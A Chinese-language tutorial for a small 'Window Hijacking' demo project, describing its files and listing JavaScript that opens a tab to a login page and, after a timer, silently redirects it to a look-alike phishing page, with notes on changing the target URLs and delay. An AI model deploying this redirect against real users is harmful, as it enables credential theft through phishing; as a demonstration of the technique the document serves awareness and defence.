Window Hijacking 项目使用教程

2024-09-20 13:28:51作者：柏廷章Berta

1. 项目目录结构及介绍

windowHijacking/
├── LICENSE
├── README.md
├── index.html
└── index2.html

LICENSE: 项目的开源许可证文件，本项目使用 GPL-2.0 许可证。
README.md: 项目的说明文件，包含项目的基本介绍、使用方法和注意事项。
index.html: 项目的主要演示文件，展示了如何通过点击链接打开新标签页并在一段时间后更改该标签页的 URL。
index2.html: 另一个演示文件，结合了 Pastejacking 技术，展示了更复杂的攻击场景。

2. 项目的启动文件介绍

项目的启动文件是 index.html。该文件包含了主要的 JavaScript 代码，用于演示窗口劫持（Window Hijacking）技术。

代码示例

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Window Hijacking Demo</title>
</head>
<body>
    <script>
        var windowHijack = function() {
            var newWindow = window.open('https://legitloginpage.xyz', 'test');
            setTimeout(function() {
                newWindow.location = 'https://notlegitloginpage.xyz';
            }, 300000); // 300000 毫秒（5 分钟）
        }
    </script>
    <button onclick="windowHijack()">Open Window</button>
</body>
</html>

功能说明

window.open: 打开一个新的浏览器标签页，并加载指定的 URL。
setTimeout: 设置一个定时器，在指定的时间后执行回调函数。
newWindow.location: 更改新打开标签页的 URL，实现窗口劫持。

3. 项目的配置文件介绍

项目中没有专门的配置文件，所有的配置和演示代码都直接写在 index.html 和 index2.html 文件中。

配置项

URL: 可以通过修改 window.open 和 newWindow.location 中的 URL 来更改演示的目标网站。
定时器时间: 可以通过修改 setTimeout 中的时间参数来调整窗口劫持的延迟时间。

示例

var windowHijack = function() {
    var newWindow = window.open('https://example.com', 'test');
    setTimeout(function() {
        newWindow.location = 'https://malicious.com';
    }, 60000); // 60000 毫秒（1 分钟）
}